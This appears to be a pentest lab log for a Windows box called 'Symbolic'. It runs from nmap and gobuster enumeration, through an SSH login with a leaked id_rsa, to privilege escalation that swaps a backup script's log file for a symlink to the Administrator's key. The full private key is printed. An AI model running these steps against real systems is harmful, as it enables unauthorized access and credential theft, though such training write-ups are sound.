Symbolic

🧪 Pentest Log: {{date:2025-08-22}}

🔍 Target Information

Machine Name: Symbolic
IP Address: 192.168.106.177
Operating System: Windows

ip=192.168.106.177

📡 Enumeration

🔌 Port Scanning

Command Used

ports=$(nmap -p- --min-rate=1000 -T4 $ip | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) 

nmap -p$ports -sC -sV $ip -oN tcp_scan_result.txt

nmap -sU --top-ports 100 $ip -oN udp_scan_result.txt

Port 22

Port 80

Web Content Enumeration

gobuster dir -u http://$ip -w /usr/share/seclists/Discovery/Web-Content/common.txt

dirsearch -u http://$ip -r -o dirsearch.txt

Found /pdfs directory, obtain id_rsa key content

💣 Exploitation / Foothold

Tool / Script Used:

📌 Vulnerability Summary

Service / Port: 22
Vulnerability Type: id_rsa reuse

🚀 Exploit Execution

🔧 Exploit Method

Manual
Public Exploit
Custom Script

Tool / Script Used:

ssh -i id_rsa p4yl0ad@$ip

🧬 Privilege Escalation

👤 Current Access

User: p4yl0ad
Groups: N/A
Shell Type: ssh

🔍 Enumeration

PrivescCheck:

powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck"

Found

Name        : BackupLogService                                                   DisplayName : BackupLogService                                                   
ImagePath   : C:\Program Files\nssm-2.24\win64\nssm.exe                          User        : .\Administrator                                                    StartMode   : Automatic

Found Backup folder under C:\, view the backup.ps1 file

$log = "C:\xampp\htdocs\logs\request.log" 
$backup = "C:\backup\logs"

while($true) {
        # Grabbing Backup
        copy $log $backup\$(get-date -f MM-dd-yyyy_HH_mm_s)
        Start-Sleep -s 60
}

🔓 Privilege Escalation Exploit

📌 Exploit Summary

Technique Used: Symbolic File Abuse
Target Binary/Service: N/A
Reference / Source: N/A

🔧 Exploit Steps

Setup

del C:\xampp\htdocs\logs\request.log

CreateSymlink.exe "C:\xampp\htdocs\logs\request.log" "C:\Users\Adminis
trator\.ssh\id_rsa"

type 08-22-2025_20_01_47

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEAxxA5qirPy3e1f5k4mL/3P1zBuVAgVPk4AZhptq1oyUsnNC4y0E3e
AVQvcLFty21pVg8Dd4MBhE1SQqrCGN1pIoWcIPGRlvbDOmGaXFk3ow5IYcu5nkw0L6u2ML
EO3SomD4bP1Z112FBbYA8KAymItR39M2QPKYXAHF1wNxZlWQjhVEmhKZVCLYubgECimTje
43EZ6NxELnftirOUhTFAecXIqo9FPyUpXh3ltMqR3mupeBLp7cblubMa5sV1P9v4xjxJRj
WaL0aAb4OjS67bKG2HEoWWY7JHrjUKCzOpQpHvz7u00MroNa31SHu6XDBraREzZeZ+zdse
fFcZdflKRwAAA9CAteVYgLXlWAAAAAdzc2gtcnNhAAABAQDHEDmqKs/Ld7V/mTiYv/c/XM
G5UCBU+TgBmGm2rWjJSyc0LjLQTd4BVC9wsW3LbWlWDwN3gwGETVJCqsIY3WkihZwg8ZGW
9sM6YZpcWTejDkhhy7meTDQvq7YwsQ7dKiYPhs/VnXXYUFtgDwoDKYi1Hf0zZA8phcAcXX
A3FmVZCOFUSaEplUIti5uAQKKZON7jcRno3EQud+2Ks5SFMUB5xciqj0U/JSleHeW0ypHe
a6l4EuntxuW5sxrmxXU/2/jGPElGNZovRoBvg6NLrtsobYcShZZjskeuNQoLM6lCke/Pu7
TQyug1rfVIe7pcMGtpETNl5n7N2x58Vxl1+UpHAAAAAwEAAQAAAQBXP/hWap9baiPGQq04
3mMLhadvhvw04ms238vuAsG8ANG1IE6rWIXnBTQp68rY8CLMUpZNasFecNmOWPPsHBe5xu
Aw3FDY312gmCklMwGc2WTGYJoCFRqGjnezjdea/p9iDM/JrFN7tXTnfJAB5NGDuRpCzSeM
JpCWninSK2HOjLygldNiJCjmFhl5YJ2IU1GjSMDtNUo3VavCcrQ+FxB+L2eG7FHiHo3+Be
McSGCOLBf1YokbXV88Se9ofnJyi+Ddsg9+v4vQfSZ958m/gSAoqxkg0KtWR45lpMpSN03k
Hx8mb3jQTJhuT07GRXiZIJ5RVmO0f6wNH6KzACnD7J9ZAAAAgQCvUJUJwYSUvI0rNSXQMz
tieT0IZq7oFiQISKjfAED0zLWm3s9ML8BZ3ArWomZinsHont1Pr1Q0nXhLB/UEqECMpkDf
Rnr+MssfPXMh/BHmsIcAzqT0MoG1NIeF3dRWQbo4ZmxDZQ3YJhfrstVzmho9qZWx2ZXyPs
sA7HCDqBV1CQAAAIEA754ugprmrQCFcR2DqV52ejK1MARGxYlNq980hUplnlV1oE2hrbzs
AJ2dDHXRnllAAWJDQtJvYlj3w9C7p4bXKnczXXAKwa0MCtyz1h0TGyn63k8L0+BxKXnOET
NDHrBJ06pBdJpf5TCX0Uz4siCTOibDVol2gZbQkFkDLtV/y/MAAACBANSsQQgd8rBIxsBB
lZnID93TvwWniL8i7v/IHiuALGMGLqaXTb8FYPNhlOZPQmpE3SzstosCAmf+dypTYa1qm3
PK16UBRBIkltnlfuRDBKqLWtI5MoPhArWelEyd/xpLAvMcMcsS8bh2TJe8jfo1dC8TcCNm
va4M+FKZegkfjsFdAAAAFmFkbWluaXN0cmF0b3JAU1lNQk9MSUMBAgME
-----END OPENSSH PRIVATE KEY-----

Smash to Administrator

ss -i id_rsa_admin administrator@$ip